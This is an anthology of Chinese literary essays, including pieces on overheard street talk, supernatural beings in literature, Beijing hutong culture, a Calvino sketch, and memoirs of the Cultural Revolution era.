　　我为路上的行人设计了一种新颖的消遣方式。我应该怎么称呼他们呢？叫“走街串巷者”吧，当然不行，而“散步者”这个词现在已经是指轻便童车。法语中的“flaneurs”（闲逛着）当然最确切，但在法国以外的地方用，听起来不免有矫揉造作之嫌。不管称呼什么吧，反正是一种消遣方式，它有益无害，不花分文，这就是：别老用眼睛去注意人家，而要用耳朵去听。我不是要你去监听，或者从头到尾、一字不漏地偷听别人的谈话，我完全不是这个意思。这个游戏的要点是，抓住人家谈话时从耳边一飘而过的半句话，甚至几个字就行了，然后自己发挥想象力。街上的行人交谈起来常常很随便，绝不会想会给人听到，因此，他们会说出往往最荒诞不经、最让人记得住的话。如果你恰巧从旁经过，常会听到几句表面像是毫无意义、其实十分有意思的话。

　　五十年代有一天，我在梅迪逊大街停下来，等着亮绿灯好过马路。这时，有两个男人走到我的一侧，两个姑娘走到我的另一侧，当时我心里有事，根本没想听他们讲什么。正当红灯换绿灯时，一个男人对另一个很认真的说：“咱们还可以从瑞士再搞到一百万。”而两个姑娘中的一个咯咯笑着说：“后来，她又嫁了另外那个男人！”余下的内容就靠你自己去补充了。又有一次，在四十九大道和派克大街的路口，一个大胖子（几乎附在我耳边）说：“成千上万保险金，这下连一个钢镚儿都不值了！”过了一会儿，一个模样很俊，但显得心烦意乱的母亲弯腰对一个约摸五岁的小男孩说：“不过，亲爱的，你的两个爸爸都爱你呢！”有时，一鳞半爪、稍纵即逝的谈话比这些更为直截了当些。声音大得像卡车把一满车砂石倾倒进坑道里：“兴许会犯法，但不是办不到。”（在四十七大道和第六大街的路口）一个温和得像甜食果冻一样的声音说：“穿羊皮贴身内衣，老天爷，那不像头戴呼吸器的潜水员吗？”（在五十二大道和第三大街的路口）

　　说外国话的人，一般都自以为他们的讲话谁也不懂。我认识一位女士，她是在阿根廷出生长大的。她再不肯坐纽约的地铁，因为她无法忍受那些男乘客用他们以为她听不懂的西班牙语对她的长相和体形评头品足。一个星期天，我散步到联合国大厦附近，看见一对风度优雅、四十出头的夫妇迎面走来：他们衣着讲究，派头十足，一望而知是外交界人士。他俩悠闲自在，漫步徜徉着，处于无人打扰的平静中。然而，就在他们走到我的身边时，男的忽然转过脸，对着女的几乎是愤怒的说道：“i Dinero! i Dinero! i Siempre dinero!”（西班牙语）——“钱！钱！老是钱！”可那女的连头都没歪一下。

　　一旦你的耳朵适应了捕捉人们谈话中的片言只语，那么，几乎不管你在哪里都可以玩玩这个游戏。一天，我在伦敦工人区闲逛，随便进了一个小酒店。刚推开转门，便听到一阵哄堂大笑。我正要吩咐来一杯浓淡合宜的啤酒，话未出口，就听一人大声说：“老山姆这家伙真怪！那天他光着身子，下面只系那么一条疝气带，就跑到考文特花园去散步了！”

　　鸡尾酒会上，也不妨试试这个手段，难是难点，不过值得一试。通常，在我刚刚被莫名其妙地介绍和一个妇人相识后，总是一边听她眉飞色舞、滔滔不绝的谈话，一边支起耳朵，听我的前后左右发出的四五个不连贯的句子。比方说，她正在告诉我林肯中心的根本问题是什么，与此同时我还听见别人在讲“……他跟她讲，他要把她宰了，他险些真的干了……”或者“……欠出版界所有人钱……”等等。

　　荷马有个经久不衰、被人用滥了的比喻：“生着翅膀的语言。”上述的那些只言片语就长着翅膀。它们宛如蝴蝶在空中飞来飞去，趁它们飞过身边一把逮住，那真是件乐事。有的蝴蝶也许带刺，但那刺决不是为你准备的。

文艺上的异物

周作人

　　古今的传奇文学里，多有异物—一怪异精灵出现，在唯物的人们看来，都是些荒唐无稽的话，即使不必立刻排除，也总是了无价值的东西了。但是唯物的论断不能为文艺批评的标准，而且赏识文艺不用心神体会，却“胶柱鼓瑟”的把一切叙说的都认作真理与事实，当作历史与科学去研究他，原是自己走错了路，无怪不能得到正当的理解。传奇文学尽有他的许多缺点，但是跳出因袭轨范，自由的采用任何奇异的材料，以能达到所欲得的效力为其目的，这却不能不说是一个大的改革，文艺进化上的一块显著的里程碑。这种例证甚多，现在姑取异物中的最可怕的东西——僵尸——作为一例。

　　在中国小说上出现的僵尸，计有两种。一种是尸变，新死的人忽然“感了戾气”，起来作怪，常把活人弄死，所以他的性质是很凶残的。一种是普通的僵尸，据说是久殡不葬的死人所化，性质也是凶残，又常被当作旱魃，能够阻止天雨，但是一方面又有恋爱事件的传说，性质上更带了一点温暖的彩色了。中国的僵尸故事大抵很能感染恐怖的情绪，舍意义而论技工，却是成功的了；《聊斋志异》里有一则“尸变”，纪旅客独宿，为新死的旅馆子妇所袭，逃到野外，躲在一棵大树后面，互相撑拒，末后惊恐倒地，尸亦抱树而僵。我读这篇虽然已在二十多年前，那时恐怖的心情还未忘记，这可以算是一篇有力的鬼怪故事了。儿童文学里的恐怖分子，确是不甚适宜，若在平常文艺作品本来也是应有的东西，美国亚伦坡的小说含这种分子很多，便是莫泊桑也作有若干鬼怪故事，不过他们多用心理的内面描写，方法有点不同罢了。

　　外国的僵尸思想，可以分作南欧与北欧两派，以希腊及塞耳比亚为其代表。北派的通称凡披耳（Vampyr），从墓中出，迷魇生人，吸其血液，被吸者死复成凡披耳；又患狼狂病（Lycanthropia）者，俗以为能化狼，死后亦成僵尸，故或又混称“人狼”（Vljkcdlak），性质凶残，与中国的僵尸相似。南派的在希腊古代称亚拉思妥耳（Alastor），在现代虽袭用斯拉夫的名称“苻吕科拉加思”（Vrykolakas，原意云人狼），但从方言“鼓状”（Tympaniaios）“张口者”（Katachanas）等名称看来，不过是不坏而能行动的尸身，虽然也是妖异而性质却是和平的，民间传说里常说他回家起居如常人，所以正是一种“活尸”罢了。他的死后重来的缘因，大抵由于精气未尽或怨恨未报，以横死或夭亡的人为多。古希腊的亚拉思妥耳的意思本是游行者，但其游行的目的大半在于追寻他的仇敌，后人便将这字解作“报复者”，因此也加上多少杀伐的气质了。希腊悲剧上常见这类的思想，如爱斯吉洛思（Aischylos）的“慈惠女神”（Eumeni-des）中最为显著，厄林奴思（Erinys）所歌“为了你所流的血，你将使我吸你活的肢体的红汁。你自身必将为我的肉，我的酒，”即是好例。阿勒思德斯（Orestes）为父报仇而杀其母，母之怨灵乃借手厄林奴思以图报复，在民间思想图报者本为其母的僵尸，唯以艺术的关系故代以报仇之神厄林奴思，这是希腊中和之德的一例，但恐怖仍然存在，运用民间信仰以表示正义，这可以说是爱斯吉洛思的一种特长了。近代欧洲各国亦有类似“游行者”的一种思想，易卜生的戏剧《群鬼》里便联带说及，他这篇名本是《重来者》（Gengangere），即指死而复出的僵尸，并非与肉体分离了的鬼魂，第一幕里阿尔文夫人看见儿子和使女调戏，叫道“鬼，鬼！”意思就是这个，这鬼（Ghosts）字实在当解作“从〔死人里〕回来的人们”（Revenants）。条顿族的叙事民歌（Popular ballad）里也很多这些“重来者”，如《门子井的妻》一篇，纪死者因了母子之爱，兄弟三人同来访问他们的老母；但是因恋爱而重来的尤多，《可爱的威廉的鬼》从墓中出来，问他的情人要还他的信誓，造成一首极凄婉美艳的民歌。威廉说，“倘若死者为生人而来，我亦将为你而重来。”这死者来迎取后死的情人的趣意，便成了《色勿克的奇迹》的中心，并引起许多近代著名的诗篇，运用怪异的事情表示比死更强的爱力。在这些民歌里，表面上似乎只说鬼魂，实在都是那“游行者”一类的异物，《门子井的妻》里老母听说她的儿子死在海里了，她诅咒说，“我愿风不会停止，浪不会平静，直到我的三个儿子回到我这里来，带了〔他们的〕现世的血肉的身体”，便是很明白的证据了。

　　民间的习俗大抵本于精灵信仰（Animism） ，在事实上于文化发展颇有障害，但从艺术上平心静气的看去，我们能够于怪异的传说的里面瞥见人类共通的悲哀或恐怖，不是无意义的事情。科学思想可以加人文艺里去，使他发生若干变化，却决不能完全占有他，因为科学与艺术的领域是迥异的。明器里人面兽身独角有翼的守坟的异物，常识都知道是虚假的偶像，但是当作艺术，自有他的价值，不好用唯物的判断去论定的。文艺上的异物思想也正是如此。我想各人在文艺上不妨各有他的一种主张，但是同时不可不有宽阔的心胸与理解的精神去赏鉴一切的作品，庶几能够贯通，了解文艺的真意。安特来夫在《七个绞死者的故事》的序上说的好，“我们的不幸，便是大家对于别人的心灵生命苦痛习惯意向愿望，都很少理解，而且几于全无。我是治文学的，我之所以觉得文学可尊者，便因其最高上的功业是拭去一切的界限与距离。”

　　1922 年 4 月 16 日刊《晨报副镌》，原署名仲密。

裸胸的女人

伊塔洛 · 卡尔维诺

　　帕洛马尔先生沿着冷僻的海滩漫步，偶尔遇上几位游客，一位年轻的夫人袒胸露臂躺在沙滩上沐浴日光。帕洛马尔先生谨小慎微，把视线投向大海与天际。他知道，遇上类似情形，当一个陌生人走近时，女人们会急忙抓衣掩体。他认为这不好，原因是这样会打扰那位安然自得沐浴日光的少妇；过路的男人也会感到内疚；这等于间接承认妇女不得袒胸露臂这条禁忌；如不完全按照礼俗行事，人们不仅得不到自由，做不到坦率，反而会行不能无虑、言不能由衷。

　　因此，当他远远看到晒得黑里泛红的裸露的女性上身时，便急忙仰起头，使他的目光落在虚空之中，并像个文明人那样，不让目光逾越环绕人身四周的无形的界线。

　　他边走边思考。当他的视野里已没有任何东西，可以自由转动眼球时，他这样想道：我这样做，是卖弄自己的决心，也就是说，我支持了禁止看女人乳房的习俗，或者说我在她的胸膛和我的眼睛之间安置了一副心理上的乳罩，让那鲜嫩的、诱人的胸膛散发的闪光不得进入我的视野。总而言之，我这不看的前提是，我正想到它是袒露的。这种看法本身就是不礼貌的、落后的，为此我感到不安。

　　帕洛马尔先生散步转来，再次经过那位女士身边。这次他把视线投射到自己前面的景物上，不多不少仅仅看到海边的浪花、拉上海滩的船只、铺在沙滩上的毛巾被、丰满的乳房及颜色略暗的乳头、弯弯曲曲的海岸以及灰色的雾气和天空。

　　喏，他自鸣得意地边走边想道，我成功地把女人的乳房与周围的景色完全协调起来，使我的目光像天空中海鸥的目光或海水里无须鳕的目光那样，不至破坏这自然的和谐。

　　这样做对吗？他继续想道，这是不是把人降低到物的水平上，把人看成物？把女性的象征也看成物，难道不过分吗？我是不是重犯了大男子主义的陋习？这种世代相传的陈规陋习是否已在我头脑里生根？

　　他转过身来往回走，现在他把目光毫无选择地投向海滩，当这位少妇的胸膛进入他的视野时，他感到自己的视线中断了，停止了，偏离了。他的目光一触到那紧绷绷的皮肤便往后缩，仿佛对它那与众不同的柔韧性和特殊价值感到吃惊。目光在空中停留片刻，再谨慎小心地沿着乳房的曲线并保持一定距离绕行一周，然后才若无其事地继续自己的行程。

　　我想，我的观点是十分清楚的，帕洛马尔先生心里说，不会引起误解。然而，我目光的这种运动会不会被理解成一种傲慢的态度，理解成低估女人乳房的价值，就是说有意冷落它，把它置于一旁放在括号内呢？喏，我这不又在老调重弹，与千百年来那些假正经和把性欲视为淫乱的人一样，尽量把女人的乳房隐蔽起来……

　　这种说法是违反帕洛马尔先生的美好心愿的。他虽然属于老一辈，曾把女性裸露的乳房与性生活联系在一起，但是他欢迎风俗习惯中的这—转变，因为这是社会思想开放的结果，同时也因为他觉得女性的这一形象使他感到愉快。他希望在他的目光中表示出来的恰恰是这种不含有任何私心的鼓励态度。

　　他来个向后转，并迈着坚定的步伐向那在阳光中沐浴的少妇走去。现在他的目光敏捷地扫向周围的景物，最后将极其崇敬地停留在少妇的胸膛上，并与少妇的裸胸一起珍陪与感激周围的一切，珍惜与感激这里的阳光，这里的蓝天，这里被风吹弯的松树和被风吹积起来的沙丘，珍惜与感激这沙滩、礁石、海藻和云雾，珍惜与感激围绕着这光芒四射的乳房旋转的整个宇宙。

　　这种态度应该能够使那位孤独的沐浴者感到放心，应该能够使她免于臆断。然而，当他刚刚走近一点时，那少妇一跃而起，披上衣服，喘息着仓皇逃遁，一边还生气地晃着肩膀，仿佛在逃避一个色鬼的纠缠。

　　陈腐的习惯势力阻挠人们正确对待这些最开明的思想。帕洛马尔先生痛苦地得出结论说。

胡同文化

汪曾祺

　　北京城像一块大豆腐，四方四正。城里有大街，有胡同。大街、胡同都是正南正北，正东正西。北京人的方位意识极强。过去拉洋车的，逢转弯处都高叫一声“东去！”“西去！”以防碰着行人。老两口睡觉，老太太赚老头子挤着她了，说“你往南边去一点”。这是外地少有的。街道如是斜的，就特别标明是斜街，如烟袋斜街、杨梅竹斜街。大街、胡同，把北京切成一个又一个方块。这种方正不但影响了北京人的生活，也影响了北京人的思想。

　　胡同原是蒙古语，据说原意是水井，未知确否。胡同的取名，有各种来源。有的是计数的，如东单三条、东四十条。有的原是皇家储存物件的地方，如皮库胡同、惜薪司胡同（存放柴炭的地方），有的是这条胡同里曾住过一个有名的人物，如无量大人胡同、石老娘（老娘是接生婆）胡同。大雅宝胡同原名大哑吧胡同，大概胡同里曾住过一个哑吧。王皮胡同是因为有一个姓王的皮匠。王广福胡同原名王寡妇胡同。有的是某种行业集中的地方。手帕胡同大概是卖手帕的。羊肉胡同当初想必是卖羊肉的，有的胡同是像其形状的。高义伯胡同原名狗尾巴胡同。小羊宜宾胡同原名羊尾巴胡同。大概是因为这两条胡同的样子有点像羊尾巴、狗尾巴。有些胡同则不知道何所取义，如大绿纱帽胡同。

　　胡同有的很宽阔，如东总布胡同、铁狮子胡同。这些胡同两边大都是“宅门”，到现在房屋都还挺整齐。有些胡同很小，如耳朵眼胡同。北京到底有多少胡同？北京人说：有名的胡同三千六，没名的胡同数不清，通常提起“胡同”，多指的是小胡同。

　　胡同是贯通大街的网络。它距离闹市很近，打个酱油，约二斤鸡蛋什么的，很方便，但又似很远。这里没有车水马龙，总是安安静静的。偶尔有剃头挑子的“唤头”（像一个大镊子，用铁棒从当中擦过，便发出噌的一声）、磨剪子磨刀的“惊闺”（十几个铁片穿成一串，摇动作声）、算命的盲人（现在早没有了）吹的短笛的声音。这些声音不但不显得喧闹，倒显得胡同里更加安静了。

　　胡同和四合院是一体。胡同两边是若干四合院连接起来的。胡同、四合院，是北京市民的居住方式，也是北京市民的文化形态。我们通常说北京的市民文化，就是指的胡同文化。胡同文化是北京文化的重要组成部分，即便不是最主要的部分。

　　胡同文化是一种封闭的文化。住在胡同里的居民大都安土重迁，不大愿意搬家。有在一个胡同里一住住几十年的，甚至有住了几辈子的。胡同里的房屋大都很旧了，“地根儿”房子就不太好，旧房檩，断砖墙。下雨天常是外面大下，屋里小下。一到下大雨，总可以听到房塌的声音，那是胡同里的房子。但是他们舍不得“挪窝儿”，——“破家值万贯”。

　　四合院是一个盒子。北京人理想的住家是“独门独院”。北京人也很讲究“处街坊”。“远亲不如近邻”。“街坊里道”的，谁家有点事，婚丧嫁娶，都得“随”一点“份子”，道个喜或道个恼，不这样就不合“礼数”。但是平常日子，过往不多，除了有的街坊是棋友，“杀”一盘；有的是酒友，到“大酒缸”（过去山西人开的酒铺，都没有桌子，在酒缸上放一块规成圆形的厚板以代酒桌）喝两“个”（大酒缸二两一杯，叫做“一个”）；或是鸟友，不约而同，各晃着鸟笼，到天坛城根、玉渊潭去“会鸟”（会鸟是把鸟笼挂在一处，既可让鸟互相学叫，也互相比赛），此外，“各人自扫门前雪，休管他人瓦上霜”。

　　北京人易于满足，他们对生活的物质要求不高。有窝头，就知足了。大腌萝卜，就不错。小酱萝卜，那还有什么说的。臭豆腐滴几滴香油，可以待姑奶奶。虾米皮熬白菜，嘿！我认识一个在国子监当过差，伺候过陆润库、王（土序）等祭酒的老人，他说：“哪儿也比不了北京。北京的熬白菜也比别处好吃，——五味神在北京”。五味神是什么神？我至今考查不出来。但是北京人的大白菜文化却是可以理解的。北京人每个人一辈子吃的大白菜摞起来大概有北海白塔那么高。

　　北京人爱瞧热闹，但是不爱管闲事。他们总是置身事外，冷眼旁观。北京是民主运动的策源地，“民国”以来，常有学生运动。北京人管学生运动叫做“闹学生”。学生示威游行，叫做“过学生”。与他们无关。

　　北京胡同文化的精义是“忍”，安分守已、逆来顺受。老舍《茶馆》里的王利发说“我当了一辈子的顺民”，是大部分北京市民的心态。

　　我的小说《八月骄阳》里写到“文化大革命”，有这样一段对话：

　　“还有个章法没有？我可是当了一辈子安善良民，从来奉公守法。这会儿，全乱了。我这眼面前就跟‘下黄土’似的，简直的，分不清东西南北了。”

　　“您多余操这份儿心。粮店还卖不卖棒子面？”

　　“卖！”

　　“还是的。有棒子面就行……”

　　我们楼里有个小伙子，为一点事，打了开电梯的小姑娘一个嘴巴。我们都很生气，怎么可以打一个女孩子呢！我跟两个上了岁数的老北京（他们是“搬迁户”，原来是住在胡同里的）说，大家应该主持正义，让小伙子当众向小姑娘认错，这二位同志说：“叫他认错？门儿也没有！忍着吧！——‘穷忍着，富耐着，睡不着眯着’！”“睡不着眯着”这话实在太精彩了！睡不着，别烦躁，别起急，眯着，北京人，真有你的！

　　北京的胡同在衰败，没落。除了少数“宅门”还在那里挺着，大部分民居的房屋都已经很残破，有的地基柱础甚至已经下沉，只有多半截还露在地面上。有些四合院门外还保存已失原形的拴马桩、上马石，记录着失去的荣华。有打不上水来的井眼、磨圆了棱角的石头棋盘，供人凭吊。西风残照，衰草离披，满目荒凉，毫无生气。

　　看看这些胡同的照片，不禁使人产生怀旧情绪，甚至有些伤感。但是这是无可奈何的事。在商品经济大潮的席卷之下，胡同和胡同文化总有一天会消失的。也许像西安的虾蟆陵，南京的乌衣巷，还会保留一两个名目，使人怅望低徊。

　　再见吧，胡同。

　　一九九三年三月十五日

教堂与坟墓

林清玄

　　住在维琴尼亚州的美国朋友，是一位电力工程师，有一天他告诉我一个故事。

　　他被通知到维琴尼亚山上的电塔修理电力障碍，于是清晨就出发了。电塔在很远的山上，开车八小时才抵达那座山，在山里绕来绕去，就是找不到那座电塔，天色逐渐暗下来，终至完全黑暗，伸手不见五指。

　　山上既没有人家，也没有灯火，他心里愈来愈着急，心里想着：不要急着找电塔，应该先找到一个可以睡觉的地方，一切等天亮再说。

　　正这样想的时候，趁着月光，竟看见远处的山顶上有一个高的十字架，在黑暗中闪闪发光。

　　他欣喜若狂，立刻驱车往十字架的方向开去，靠近了，才发现是一座在荒山的教堂，里面并无灯光，门也是锁着的，无法进入教堂借宿，朋友把车停在教堂旁边，安心地睡着了。“因为心里觉得上帝就在身边，那一夜睡得好极了”。

　　在鸟声中醒来的朋友，探头一看，才发现不得了，原来他的车子停在一片公墓的中间，四周全是坟墓，坟墓上都是十字架。

　　朋友说：“还好当时只看到教堂，如果看到一片坟墓，可能就不能安心睡眠了。”接着，朋友感慨地说：“所以，一个人如果要心安，一定要常常往高的地方、光明的所在看；假如一直看着黑暗或低下的地方，心就不能安了。”

　　这个故事非常好，使我想到，教堂与坟墓都有十字架；而且，许多教堂都盖在坟墓旁边；照耀着教堂的月光，也同样照在坟墓上。这个世界是如实地显露着平等，没有分别的真相，只是人心的向往，使世界也不同了。

　　一个想要安心生活的人，当然要有一些光明的希望，崇高的探索、境界的追求，只要保持拥有这种态度，即使处在障碍中也能坦然无惧，就好像站在坟墓里，也能看见教堂一样。

一个乡民的死

梁实秋

　　我住着的房屋后面，广阔的院子中间，有一座罗汉堂。它的左边略低的地方是寺里的厨房，因为此外还有好几个别的厨房，所以特别称它作大厨房。从这里穿过，出了板门，便可以走出山上。浅的溪坑底里的一点泉水，沿着寺流下来，经过板门的前面。溪上架着一座板桥。桥边有两三棵大树，成了凉棚，便是正午也很凉快，马夫和乡民们常常坐在这树下的石头上，谈天休息着。我也朝晚常去散步。适值小学校的暑假，丰一到山里来，住了两礼拜，我们大抵同去，到溪坑底里去捡圆的小石头，或者立在桥上，看着溪水的流动。马夫的许多驴马中间，也有带着小驴的母驴，丰一最爱去看那小小的可爱而且又有点呆相的很长的脸。

　　大厨房里一总有多少人，我不甚了然。只是从那里出入的时候，在有一匹马转磨的房间一角里，坐在大木箱的旁边，用脚踏着一枝棒，使箱内扑扑作响的一个男人，却常常见到。丰一教我道，那是寺里养那两匹马的人，现在是在那里把马所磨的麦的皮和粉分做两处呢。他大约时常独自去看寺里的马，所以和那男人很熟习，有时候还叫他，问他各种小孩子气的话。

　　这是旧历的中元那一天。给我做饭的人走来对我这样说，大厨房里有一个病人很沉重了。一个月以前还没有什么，时时看见他出去买东西。旧历六月底说有点不好，到十多里外的青龙桥地方，找中医去看病。但是没有效验，这两三天倒在床上，已经起不来了。今天在寺里作工的木匠把旧板拼合起来，给他做棺材。这病好像是肺病。在他床边的一座现已不用了的旧灶里，吐了许多的痰，满灶都是苍蝇。他说了又劝告我，往山上去须得走过那间房的旁边，所以现在不如暂时不去的好。

　　我听了略有点不舒服，便到大殿前面去散步，觉得并没有想上山去的意思，至今也还没有去过。

　　这天晚上寺里有焰口施食。方丈和别的两个和尚念咒，方丈的徒弟敲钟鼓。我也想去一看，但又觉得麻烦，终于中止了，早早的上床睡了。半夜里忽然醒过来，听见什么地方有铙钹的声音，心里想道，现在正是送鬼，那么施食也将完了罢，以后随即睡着了。

　　早饭吃了之后，做饭的人又来通知，那个人终于在清早死掉了。他又附加一句道，“他好像是等着棺材的做成呢。”

　　怎样的一个人呢？或者我曾经见过也未可知，但是现在不能知道了。

　　他是个独身，似乎没有什么亲戚。由寺里给他收拾了，便在上午在山门外马路旁的田里葬了完事。

　　在各种的店里，留下了好些的欠账。面店里便有一元余，油酱店一处大约将近四元。店里的人听见他死了，立刻从账簿上把这一页撕下烧了，而且又拿了纸钱来，烧给死人。木匠的头儿买了五角钱的纸钱烧了。住在山门外低的小屋里的老婆子们，也有拿了一点点的纸钱来吊他的。我听了这话，像平常一样的说这是迷信、笑着将他抹杀的勇气，也没有了。

不悔

亦舒

　　礼品店里看见一只小小刺绣枕头，上面绣两个字：NO REGRETS，可以译作没有遗憾，但是忽然想起杨不悔，作终不悔解就更决绝。

　　很有自信的人才当得起这两个字，大可在皮夹克背后大大以哥德字体绣上它，招摇过市。

　　一般人做不到如此潇洒，午夜梦回，只觉恨事憾事之多，会得冒一身冷汗，想跳起来尖叫。

　　早上起来了，红日炎炎，恢复镇定，又按部就班办事，并且说，一个人得做什么，就该去做什么。

　　本来想待友人退休之际，送他一件当金句摆家中，可是最近看情形他又不打算退下来了，简直要拗腰更上一层楼，说他已无遗憾，会被啐出门来。

　　总有遗憾吧，像久不成名，又没发财，始终不会吹色士风，以及不懂跳探戈等等。

　　再远一点，扯到当年好似辜负了某君的好意，以及得不到的种种思念，均是遗憾，后悔没有多加把劲。

　　渐渐知道有机会就得把握，做到加零一，以免将来失眠。

　　怎么不后悔，后悔得流眼泪。

教书

韩少功

　　文革一般被认为结束于一九七六年。其实这个分期过于笼统。对于很多文革中的学子来说，文革在一九六八年就黯然落幕，其标志是以“革委会”为代表的政权管制全面恢复，还有民众造反权利的重新取消，包括红卫兵的出局。新的各级政权里虽然都有几个群众代表，但一般来说只是摆设了。

　　有些学生对官员主政已不习惯。想当年，大串联，逛全国，想斗谁就斗谁，想玩啥就玩啥，老子的队伍才开张，戴上袖章就是时代骄子，挂上盒子炮就是社会主人，这样的好日子怎么说没就没有了？生活怎么就只剩下哎哎哟哟的抡锄头出黑汗？他们愤愤不已，只是还残存几分领袖崇拜，那么与其承认自己出局，承认自己作废和可怜，不如把出局想象成重大战略的一步棋，想象成更伟大进军之前的迂回和潜伏，给自己继续蒙上意义的金色光辉。

　　我就是在这时结识了外校的一些知青，一伙是下靖县的，一伙是下沅江县的，都是些牛气冲天的幻想家，开口就是印度支战争那和法国红五月的那种，是忧心三十年后中国怎么办的那种。我们在春节回城时相聚，一家串一家，越串朋友越多，越串志向越大，分手前少不了要合唱一首《国际歌》。他们都比我年龄大，读的书也多，很得我的信任和仰慕，因此听说他们都在乡村办了农民夜校，我也立即回茶场办一所，决心配合友军行动，用革命思想改造可怜的乡村。

　　教材只能自费油印，由我和几个朋友编写，大体上以识字为纲，串起一些地理、历史、农科以及革命的小知识。《老乡上学歌》之类打油诗穿插其中，力图使课本更为活泼。这样的夜校一开张，干部们以为我们热心扫盲，吻合他们的工作任务，还十分高兴地支持。对我从无好脸色的副书记甚至破天荒把我表扬了两句。

　　不料事情并不顺利。农民学员对识字还有些兴趣，青年农民对天南海北的趣闻也津津有味，但要让他们理解列宁和孟什维克，明白巴黎公社有别于我们自己所在的天井公社，费力气实在太大。

　　“巴黎公社？在哪个县？怎么没听说过？”

　　“巴黎公社的人不插田吗？不打禾吗？那他们都是吃返销粮的？”

　　“我只听戴书记说过要学大寨，没听说过要学巴黎呵！”

　　真是让人出汗。想当年红军在乡村建立苏维埃，还教官兵们学唱换调变阶的《马赛曲》，不知道是否要出更多的汗。

　　他们对无产阶级光荣这种鬼话也决不相信。无产阶级？不就是穷得卵都没一根么？要是无产阶级光荣，那婆娘们不都光荣了？他们粗俗地大笑，然后对地球是圆的这一真理也嗤之鼻：怎么是圆的？明明是平的么！我走到湘阴县白马糊（一个在他们看来已经是很远的地方），怎么没看见摔下去呢？怎么没看见湘阴人两脚朝天呢？……到最后，他们质问我们为什么不教他们打算盘，不教他们做对联和做祭文，哪怕教教他们治鸡瘟也好呵。

　　这样，他们想学的我不懂，我懂的他们不要。多少年后，我看见有些大学生志愿者受非政府组织（NGO）所派，来到尚缺温饱的贫困乡村，分发女权或环保的资料，热情万丈地教几句英语，教一两首英文歌，把娃娃们搞得迷迷瞪瞪，就觉得他们身上也有我当年的影子。一代代的文明救主，看来都不大考虑鸡瘟之类俗事。

　　夜校因为我的莽撞而夭折。事情是这样：为了“学巴黎”，我纠集两个青年学员，其实是脑子比较呆的两位，共同写了一张大字报，炮轰场民兵营长王某，先拍下一只小苍蝇再说。大字报指责他经常躲避劳动，开小灶暗揩集体的油，实在太资产阶级。没想到的是，副书记对大字报似乎暗喜，至少没对我说什么，倒是原来对知青们较为宽厚的正书记大为光火——原来他是王某的同村人，近期还成了王某的入党介绍人，见我往肉汤里拉屎，见某些干部隔岸观火，恨不得一口把我吃了。他怒气冲冲一把撕了大字报，站在地坪里开骂：“搞什么突然袭击？还拉拢贫下中农来搞派性？告诉你们，蛆婆子拱不翻磨子，党的领导是铁打的！”

　　周围两排宿舍鸦雀无声，谁都不敢说话。

　　“什么夜校？鬼叫吧？”

　　本地人把校也发音为“叫”。

　　第二天入夜，我来到“夜叫”，发现我的预感果然被证实：一个学员也没来，几排条凳冷冷清清。连我的那两位共犯，从书记房间出来以后也慌慌张张，再也不同我说话，更不会喊我“老师”了。我原来准备好的第二课本和第三期课本，都只能成为废纸了。

　　我发现自己确实是一只蛆婆子，连树叶也拱不翻的蛆婆子。但认识这一点，对我后来读懂一些书倒是大有助益。

　　一九七二年春，我从茶场转到某大队落户，遇到有学校老师休产假什么的，也被叫去临时代课。我此时再无启蒙壮志，革命意志衰退，只是同娃娃们瞎混，算是赚一点轻松的工分。谁效忠，我就在黑板上画鲜花或者红旗（给女娃），坦克或者飞机（给男娃），下面写出相应的象征性领奖者。谁调皮，我在黑板另一边画丑八怪，下面标出他的名字，说不定还狠狠加刑：咔嚓——画一手枪瞄准之，或哗啦——画一粪瓢逼近之。这种奖罚分明的朝廷王法，让子民们兴奋莫名，下了课还围着我尖叫。我哪给他们正经上过课？几乎所有课都成了涂鸦和胡扯。但后来有一次在路上遇到茶场那位书记，竟得到他的微笑：“你是个聪明人，现在总算走正路了，搞教育革命的鬼点子还蛮多。”

　　他说，我班上有一娃就是他的外甥，最喜欢新老师了，这些天一放下饭碗就往学校里跑。

　　是吗？我不知道自己是否应该高兴一下。

发出声音永远是有用的

席慕容

　　有一年，我应邀到一所中学演讲。中国北方的农村，露天操场，围坐着几千名学生，他们穿着翠蓝色校服，脸蛋呈现出一种深紫的玫瑰红色。冬天，很冷。

　　我从不曾在这样冷的地方讲过这么多的话。虽然我以前在西藏呆过，经历过零下 40 摄氏度的严寒，但那时军人们急匆匆像木偶一般赶路，缄口不语，说话会让周身的热量非常快地流失。这一次，吸进冷风，呼出热气，在腊月的严寒中面对着一群眼巴巴的农村少年谈人生和理想，我口中吐冒一团团的白烟，像老式的蒸汽火车头。

　　演讲完了，我说，谁有什么问题，可以写个纸条。这是演讲的惯例，我有什么地方说得不妥当，请大家指正。孩子们掏出纸笔，往手心哈一口热气，纷纷写起来。老师们很负责地在操场上穿行，收集字条。

　　我打开一张纸条。上面写着：我很生气，这个世界是不平等的。比如，我为什么是一个女孩呢？我的爸爸为什么是一个农民？而我同桌的爸爸却是县长？为什么我上学要走那么远的路，我的同桌却坐着小汽车？为什么我只有一支笔，他却有那么大的一个铅笔盒？

　　我看着那一排钩子一样的问号，心想这是一个充满了愤怒的女孩，如果她张嘴说话，一定像冲出了一股乙炔，空气都会燃起蓝白的火苗。

　　我大声地把她的条子念了出来。那一瞬，操场上很静很静，听得见遥远的天边，有一只小鸟在嘹亮地歌唱。我从台子上望下去，一双双乌溜溜的眼珠，在玫瑰红色的脸蛋上瞪得溜圆，还有人东张西望，估计他们在猜测纸条的主人。

　　据说孩子们在妈妈的肚子里，就能体会到母亲的感情。很多女孩子从那个时候，就感受到了这个世界的不平等，因为你不是一个男孩，你不符合大家的期望。

　　有什么办法吗？没有。起码在现阶段，没有办法改变你的性别。你只有认命。我在这里说的“命”，不是虚无缥缈的命运，而是指你与生俱来的一些不能改变的东西。比如你的性别，比如你的相貌，比如你的父母，比如你降生的时间地点……总之，在你出生以前就已经具备的这些东西，都不是你所能左右的。你只能安然接受。

　　不要相信对你说这个世界是平等的那些话，在现阶段，这只是一厢情愿。不过，你不必悲观丧气，其实，世界已经渐渐在向平等的灯塔航行。比如 100 年前，你能到学堂里来读书吗？你很可能裹着小脚，在屋里低眉顺眼地学做女红。县长的儿子，在那个时候，要叫做县太爷的公子了，你怎么可能和他成为同桌？在争取平等的路上，我们已经出发了。记住，没有什么人承诺和担保你一生下来，就享有阳光灿烂的平等。你去看看动物界，就知道平等是多么罕见了。平等是人们智慧的产物，是维持最大多数人安宁的策略。你明白了这件事情，就会少很多愤怒，多很多感恩。你已经享受了很多人奋斗的成果，你的回报，就是继续努力，而不是抱怨。

